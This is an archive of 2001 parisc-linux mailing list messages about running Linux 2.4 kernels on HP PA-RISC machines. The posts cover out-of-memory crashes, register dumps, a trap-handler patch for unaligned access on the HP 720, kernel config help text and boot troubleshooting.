Date: Wed, 26 Sep 2001 13:24:53 -0400 (EDT)
Lines: 73
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0109261322510.25631-100000@ns>
References: <sbb19d1e.060@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620520 26203 80.91.229.3 (22 Nov 2014 01:42:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:00 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 11:24:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C0DA4837
	for <parisc-linux@parisc-linux.org>; Wed, 26 Sep 2001 11:24:54 -0600 (MDT)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id NAA08313
	for <parisc-linux@parisc-linux.org>; Wed, 26 Sep 2001 13:24:53 -0400
X-Sender: nick@ns
In-Reply-To: <sbb19d1e.060@ms-zrt1>
Xref: news.gmane.org gmane.linux.ports.parisc:12311

I Run into the exact same problem on a mounted ext2fs with 2xram as swap.
init-2.04# find . -name palo -print                                         
Out of Memory: Killed process 45 (find).                                    
Out of Memory: Killed process 45 (find).                                    
Out of Memory: Killed process 45 (find).
Out of Memory: Killed process 45 (find).                                    
Out of Memory: Killed process 45 (find).                                    
Out of Memory: Killed process 45 (find).
SysRq: Emergency Sync                                                       
Syncing device 08:03 ... OK                                                 
Syncing device 08:11 ... OK
Syncing device 08:12 ... OK
Syncing device 08:04 ... OK
Done.
SysRq: Show Regs

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 102d6a28 1026bd0c 0000000c                                
r4-7     105f46e4 105f4794 00000008 00000001                                
r8-11    ffffffff 00000010 105f46db efa0b925                                
r12-15   102d6a28 00000000 00000000 00000000                                
r16-19   105f4258 00063800 10334000 1026d912                                
r20-23   00000000 1026d912 0000000e 00000000
r24-27   1026d911 1029275d 105f48f8 10294010
r28-31   105f46e4 00000000 105f4880 1026b648
sr0-3    00000000 00000000 00000000 0000007c
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1026b724 1026b728
 IIR: 0ea01014    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 105f4000 CR31: 10338000
 ORIG_R28: 105f49c0                                                         
Done.
SysRq: Emergency Remount R/O
Remounting device 08:03 ... OK
Remounting device 08:11 ... OK
Remounting device 08:12 ... OK
Remounting device 08:04 ... OK
Done.
SysRq: Show Memory
Mem-info:
Free pages:      115496kB (     0kB HighMem)
( Active: 63, inactive_dirty: 137, inactive_clean: 0, free: 28874 (255 510
765) )
0*4kB 1*8kB 0*16kB 1*32kB 54*64kB 57*128kB 35*256kB 25*512kB 11*1024kB
35*2048kB = 115496kB)
= 0kB)
= 0kB)
Swap cache: add 92308, delete 92271, find 75/305
Free swap:       248700kB
32768 pages of RAM
1223 reserved pages
13 pages shared
37 pages swap cached
Buffer memory:      176kB
SysRq: Resetting

Any suggestions?
	Thanks
		Nick
On Wed, 26 Sep 2001, Jurriaan Kalkman wrote:
> The 2.4.9 kernel really needs swap, or so I've read on the linux-kernel mailing list.
> You should add some swap. 2* [size of main memory] is a safe amount.
> It's considered a bug, but it needs swap even if there is free memory.....
> 
> Good luck,
> Jurriaan
> 





From - Thu Nov 08 21:19:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] First Draft of the help for the kernel options
Date: Wed, 26 Sep 2001 11:29:04 -0600
Lines: 74
Approved: news@gmane.org
Message-ID: <200109261729.LAA16546@puffin.external.hp.com>
References: <marteaut@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620521 26206 80.91.229.3 (22 Nov 2014 01:42:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:01 +0000 (UTC)
Cc: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 11:31:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85F734837
	for <parisc-linux@parisc-linux.org>; Wed, 26 Sep 2001 11:31:55 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA16546;
	Wed, 26 Sep 2001 11:29:04 -0600
In-Reply-To: Message from Thomas Marteau <marteaut@esiee.fr> 
   of "Wed, 26 Sep 2001 00:42:01 +0200." <3BB10839.D23F2ED6@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:12312

Thomas Marteau wrote:
> Hi all,
> 
> 	As you know, PA/Linux source needs some help to guide their users.
> That's why I tried to complete the documentation for the kernel.

Excellent - I had forgotten about this already again.

> GSC/Gecko bus support
> CONFIG_GSC
>   This option gives to the kernel the capability to manage GSC buses 
>   of HP computers.

It's really more than that. Or at least it was.
All code in drivers/gsc is enabled with this flag.
It's worth noting that systems with GSC slots, LASI, EISA or
Dino (GSCtoPCI) bridge need this defined.

> This option is compulsory if you want it working.

All MMIO access once required CONFIG_GSC.
IIRC, someone fixed this dependency (willy maybe?).
A real test is if A500 and/or C3000 can build/run w/o CONFIG_GSC.

...
> GSCtoPCI/DINO PCI support
> CONFIG_GSC_DINO
>   By selecting this item, you add the use of your PCI extension slots.

I would say:
Add PCI support for Dino PCI Host Bus bridge.
PCI devices are sometimes embedded in GSC add-on cards (aka "card-mode Dino").

>   In order to be useful, you need a quite recent HP computer like those
>   based on PA7300LC or PA8X00.

"recent" means "not the oldest and not the newest".
I think mentioning some examples would be helpful (eg B132L, C200).

> HP Lasi SCSI support
> CONFIG_SCSI_LASI
>   If you have an old HP system like a 712, you should keep this on.
>   This will enable the 
>   For quite recent computers, you may be able to turn this off. 

If this can be a module, then we should mention that.
Again, some example systems with LASI/ASP built-in would be good.
(712/715/720/735/B132L/et al).

> Lasi ethernet
> CONFIG_LASI_82596
>   This option adds the driver for one of most used network cards.

It's not a seperate card. It's integrated in the LASI chip.
The question really is if apricot signals are exported out the
back of the machine. Off hand, I suspect only B180 (systems with
100BT instead of 10BT) falls into this category.
Otherwise all systems with LASI chip use this.

...
> PA Harmony audio driver
> CONFIG_SOUND_HARMONY
>   This option enables the audio part of the LASI controller. Since it is 
>   standard to all the boxes, this option should be set for any 
>   workstation.

Not true. Newer workstations with suckyio use AD1889 (IIRC).


thanks,
grant




From - Thu Nov 08 21:19:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to merge Kernel 2.4.9 for hppa and new kernel 2.4.10
Date: Thu, 27 Sep 2001 02:27:20 +0800
Lines: 22
Approved: news@gmane.org
Message-ID: <20010927022717.C2203@neep.com.au>
References: <sbb19279.048@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620521 26210 80.91.229.3 (22 Nov 2014 01:42:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 12:27:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-03.iinet.net.au [203.59.3.35])
	by dsl2.external.hp.com (Postfix) with SMTP id D95FD4837
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Sep 2001 12:27:43 -0600 (MDT)
Original-Received: (qmail 10772 invoked by uid 666); 26 Sep 2001 18:27:36 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.217.127)
  by mail.iinet.net.au with SMTP; 26 Sep 2001 18:27:36 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id CAA07955
	for parisc-linux@lists.parisc-linux.org; Thu, 27 Sep 2001 02:27:24 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <sbb19279.048@ms-zrt1>; from Jurriaan.Kalkman@zrt.nl on Wed, Sep 26, 2001 at 08:16:49AM +0200
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:12313

Quoth Jurriaan Kalkman:
> If you read the linux-kernel mailing list, you'll see that some people
> claim 2.4.10 is the best thing since sliced bread, but the first
> serious VM problems have been sighted already, so upgrading right away
> is risky.

Getting a bit off-topic - but apart from keeping a careful eye on the
linux-kernel list, does there exist any reasonable means of finding out
stuff like this?  Mainly known flaws in a given kernel release ... such
as 'serious VM problems in 2.4.10', 'foobar was badly broken in 2.4.6'
and so on.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:19:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 720 - some progress
Date: Thu, 27 Sep 2001 00:26:31 +0200 (CEST)
Lines: 175
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0109270017460.1714-100000@gfrw1044.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620521 26240 80.91.229.3 (22 Nov 2014 01:42:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:01 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 16:27:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D0344837
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Sep 2001 16:27:09 -0600 (MDT)
Original-Received: from [192.168.94.3] (ppp17.scram.de [195.226.127.210])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f8QMR6i18314
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 00:27:06 +0200 (CEST)
X-X-Sender: <jochen@gfrw1044.bocc.de>
Xref: news.gmane.org gmane.linux.ports.parisc:12314

Hi,

i created this patch for the cause 18 on the 720. Without the patch and 
fallthrough to case 26, the following program will just hang:

#include <stdio.h>

int main()
{
  int i,j,k;
  char *p;

  i=0;
  j=1;
  k=0;

  p = (char *) &j;
  p++;
  i = *(int *) p;

  printf("%d\n",i);
}

With the patch, the output is:

sh-2.05# ./unaligned
unaligned(20): unaligned access to 0xfaf002cd at ip=0x0001050f
256
                  
So the patch appears to work correctly at least for this case...

However, the user space tools ls, tar, sleep still crash for me.
This is the dmesg output:

!!die_if_kernel: ls.x(22): Privileged register - shouldn't happen! 11
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 4019e57c 4008648f 401a057c
r4-7     401a057c 40199140 401a057c faf00318
r8-11    00000000 0001bb24 0002df58 faf000e8
r12-15   0002df58 0002df58 000c41b0 0002df58
r16-19   00000000 00000000 10350000 401cf930
r20-23   40029122 401b33f8 4019b0a0 4019fd7c
r24-27   00000000 faf00318 40199140 0002df58
r28-31   4017722c 0002f048 faf00440 40083393
sr0-3    0000002c 0000002c 00000000 0000002c
sr4-7    0000002c 0000002c 0000002c 0000002c

IASQ: 0000002c 0000002c IAOQ: 401b340f 401b3413
 IIR: 036008a4    ISR: 0000002c  IOR: 0002df58
 CPU:        0   CR30: 11b68000 CR31: 10358000
 ORIG_R28: 0002f000

Does anyone know what the cause 11 means?

Cheers,
Jochen
--- linux.orig/arch/parisc/kernel/traps.c	Wed Sep 19 12:02:30 2001
+++ linux/arch/parisc/kernel/traps.c	Thu Sep 27 00:02:23 2001
@@ -46,8 +46,12 @@
 #define PRINT_USER_FAULTS /* (turn this on if you want user faults to be */
 			 /*  dumped to the console via printk)          */
 
+#define DEBUG_CASE18
+
 void handle_unaligned(struct pt_regs *regs);
 
+unsigned long parisc_acctyp(unsigned long code, unsigned int inst);
+
 static int printbinary(char *buf, unsigned long x, int nbits)
 {
 	unsigned long mask = 1UL << (nbits - 1);
@@ -274,6 +278,11 @@
 	unsigned long fault_address = 0;
 	unsigned long fault_space = 0;
 	struct siginfo si;
+	unsigned long acc_type;
+	pte_t * pte;
+	pgd_t * pgd;
+	pmd_t * pmd;
+
 #ifdef CONFIG_KWDB
 	struct save_state ssp;
 #endif /* CONFIG_KWDB */   
@@ -322,12 +331,15 @@
 		fault_address = regs->ior;
 		parisc_terminate("Non access data tlb fault!",regs,code,fault_address);
 
+	pagefault:
+#ifdef DEBUG_CASE18
+		printk("to pagefault\n");
+#endif
 	case 15:
 	case 26:
 		fault_address = regs->ior;
 		fault_space   = regs->isr;
 		break;
-
 	case 19:
 		regs->gr[0] |= PSW_X; /* So we can single-step over the trap */
 		/* fall thru */
@@ -416,6 +428,57 @@
 		force_sig_info(SIGSEGV, &si, current);
 		return;
 
+	case 18:
+#ifdef DEBUG_CASE18
+		printk(KERN_DEBUG "got case18 -");
+#endif
+		fault_address = regs->iaoq[0];
+		fault_space = regs->iasq[0];
+
+		if (in_interrupt() || !(current->mm))
+			goto pagefault; /* shouldn't happen */
+		/* FIXME: do propper locking here */
+
+		/* page directory */
+		pgd = pgd_offset(current->mm, fault_address);
+		if (pgd_none(*pgd) || pgd_bad(*pgd))
+			goto pagefault; /* expandable stack etc */
+
+		/* middle page directory */
+		pmd = pmd_offset(pgd, fault_address);
+		if (pmd_none(*pmd) || pmd_bad(*pmd))
+		        goto pagefault; /* expandable stack etc */
+
+		/* page table entry */
+		pte = pte_offset(pmd, fault_address);
+		if (pte_none(*pte))
+		        goto pagefault; /* expandable stack etc */
+
+		if (!pte_present(*pte)) /* is this test sufficient? */
+		        goto pagefault; /* page not loaded */
+
+		acc_type = parisc_acctyp(code,regs->iir);
+
+		if ((acc_type & VM_WRITE) && (!(pte_write(*pte))))
+		        goto pagefault; /* Write protected access */
+
+		if ((acc_type & VM_READ) && (!(pte_read(*pte))))
+			goto pagefault; /* Read protected access */
+
+		if ((acc_type & VM_EXEC) && (!(pte_read(*pte))))
+		        goto pagefault; /* Exec protected access */
+
+		if (!(regs->ior & 3)) {
+#ifdef DEBUG_CASE18
+			printk("spurious? -");
+#endif
+			goto pagefault;
+		}
+		/* fall through to case 28 */
+#ifdef DEBUG_CASE18
+		printk("to unaligned\n");
+		show_regs(regs);
+#endif
 	case 28:  /* Unaligned just causes SIGBUS for now */
 		handle_unaligned(regs);
 #if 0
diff -u -r linux.orig/arch/parisc/mm/fault.c linux/arch/parisc/mm/fault.c
--- linux.orig/arch/parisc/mm/fault.c	Wed Aug 29 12:02:07 2001
+++ linux/arch/parisc/mm/fault.c	Wed Sep 26 22:54:46 2001
@@ -49,7 +49,7 @@
  *   VM_WRITE if write operation
  *   VM_EXEC  if execute operation
  */
-static unsigned long
+unsigned long
 parisc_acctyp(unsigned long code, unsigned int inst)
 {
 	if (code == 6 || code == 16)





From - Thu Nov 08 21:19:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Thu, 27 Sep 2001 02:07:36 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20010927020736.A20970@dogbert.localdomain>
References: <Pine.LNX.4.33.0109270017460.1714-100000@gfrw1044.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="G4iJoqBmSsgzjUCe"
X-Trace: ger.gmane.org 1416620522 26244 80.91.229.3 (22 Nov 2014 01:42:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 18:15:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 17B9E4837
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Sep 2001 18:15:09 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15mOpS-0005PC-00
	for parisc-linux@lists.parisc-linux.org; Thu, 27 Sep 2001 02:15:02 +0200
Original-Received: (qmail 12003 invoked from network); 27 Sep 2001 00:08:20 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 27 Sep 2001 00:08:20 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15mOiG-0005Sy-00; Thu, 27 Sep 2001 02:07:36 +0200
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0109270017460.1714-100000@gfrw1044.bocc.de>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15mOpS-0005PC-00*o9qzi.4C/.s* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12315

--G4iJoqBmSsgzjUCe
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello Jochen and pa-risc,

Would it help if one recompiled ls and the other "problem" tools with=20
(hopefully) a simple #define DEBUG 1, so that we can see what part of
the program makes the kernel go wild?

Regards,

Albert

--G4iJoqBmSsgzjUCe
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7sm3IDg+hOeRZtkMRArLYAJ4hlCYXTAoTllfuK2l+5IAawJNZBwCfTceO
y218hy23D7OjM91W7sxMtFE=
=tamg
-----END PGP SIGNATURE-----

--G4iJoqBmSsgzjUCe--




From - Thu Nov 08 21:19:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] More on my C360
Date: Thu, 27 Sep 2001 01:52:55 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20010927015255.A22878@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620522 26251 80.91.229.3 (22 Nov 2014 01:42:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 19:52:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id F27274837
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Sep 2001 19:52:56 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f8R1qtY22889
	for parisc-linux@lists.parisc-linux.org; Thu, 27 Sep 2001 01:52:55 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12316

I was getting trace/breakpoint traps from my new 2.4.9-pa24 kernel
and it was suggested that I recompile the kernel for PA7100 (not 8000
as I had done before.)    I was unable to compile the kernel again
while running 2.4.9 so I had to boot the 2.4.0 kernel that was included
on the 0.92 CD.   When that kernel was running I was able to recompile
the 2.4.9 kernel again and it's now working much better.  Im now able
to compile things with out any (unusual) errors.

However, I again had a rather massive filesystem corruption on my root
filesystem after I had been running 2.4.0.  I had to manually run fsck
and answer "y" to 50 - 60 "fix?" questions.


-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: Re: [parisc-linux] Trace/breakpoint trap
Date: Thu, 27 Sep 2001 08:05:09 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <sbb2dfde.073@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620522 26258 80.91.229.3 (22 Nov 2014 01:42:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:02 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 00:16:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 489CF4837
	for <parisc-linux@parisc-linux.org>; Thu, 27 Sep 2001 00:16:08 -0600 (MDT)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id IAA00790 for <parisc-linux@parisc-linux.org>; Thu, 27 Sep 2001 08:16:06 +0200 (MET DST)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma000430; Thu, 27 Sep 01 08:14:48 +0200
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Thu, 27 Sep 2001 08:14:22 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:12317

>bofh:/usr/src/linux# ls -l /boot
>total 7083
>-rw-r--r--    1 root     root       593072 Sep 21 15:04 System.map-2.4.0
>-rw-r--r--    1 root     disk       561861 Sep 21 21:12 System.map-2.4.9
>-rw-r--r--    1 root     root         3949 Sep 21 15:04 config-2.4.0
>drwxr-xr-x    2 root     root        12288 Sep 21 15:02 lost+found
>-rw-r--r--    1 root     root      2853588 Sep 21 15:04 vmlinux-2.4.0
>-rwxr-xr-x    1 root     disk      3191078 Sep 21 21:12 vmlinux-2.4.9
>
>
>I still have the old kernel in there. How do I get palo to boot it ?
>
The easiest way to do it once is to interrupt the booting right at the =
start,
interrupting the automatic boot, then type

BOOT
and when asked if you want to interact with the IPL, answer Y.

Then edit the parameter where your kernel-name is. I have to use ^H to =
delete characters.

Good luck,
Jurriaan





From - Thu Nov 08 21:19:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: Re: [parisc-linux] How to merge Kernel 2.4.9 for hppa
	and new kernel 2.4.10
Date: Thu, 27 Sep 2001 08:25:35 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <sbb2e347.075@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620523 26264 80.91.229.3 (22 Nov 2014 01:42:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:03 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 00:30:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0190C4837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 00:30:38 -0600 (MDT)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id IAA02801 for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 08:30:37 +0200 (MET DST)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma002209; Thu, 27 Sep 01 08:29:21 +0200
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Thu, 27 Sep 2001 08:28:55 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:12318

>Getting a bit off-topic - but apart from keeping a careful eye on the
>linux-kernel list, does there exist any reasonable means of finding out
>stuff like this?  Mainly known flaws in a given kernel release ... such
>as 'serious VM problems in 2.4.10', 'foobar was badly broken in 2.4.6'
>and so on.
>
The linux weekly news (www.lwn.net) always has a short item about 'kernel =
mailing-
list threads', which mentions the top threads from the past week. I'm not =
sure if that
helps. I just follow the list :-)

Good luck,
Jurriaan





From - Thu Nov 08 21:19:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Thu, 27 Sep 2001 05:09:10 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <200109270909.FAA26514@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620523 26273 80.91.229.3 (22 Nov 2014 01:42:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 27 03:09:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8E34B4837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 03:09:28 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id FAA26514
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Sep 2001 05:09:10 -0400
Content-ID: <26509.1001581750.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12319

[skipped]
> !!die_if_kernel: ls.x(22): Privileged register - shouldn't happen! 11
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001111
> r0-3     00000000 4019e57c 4008648f 401a057c
> r4-7     401a057c 40199140 401a057c faf00318
> r8-11    00000000 0001bb24 0002df58 faf000e8
> r12-15   0002df58 0002df58 000c41b0 0002df58
> r16-19   00000000 00000000 10350000 401cf930
> r20-23   40029122 401b33f8 4019b0a0 4019fd7c
> r24-27   00000000 faf00318 40199140 0002df58
> r28-31   4017722c 0002f048 faf00440 40083393
> sr0-3    0000002c 0000002c 00000000 0000002c
> sr4-7    0000002c 0000002c 0000002c 0000002c
> 
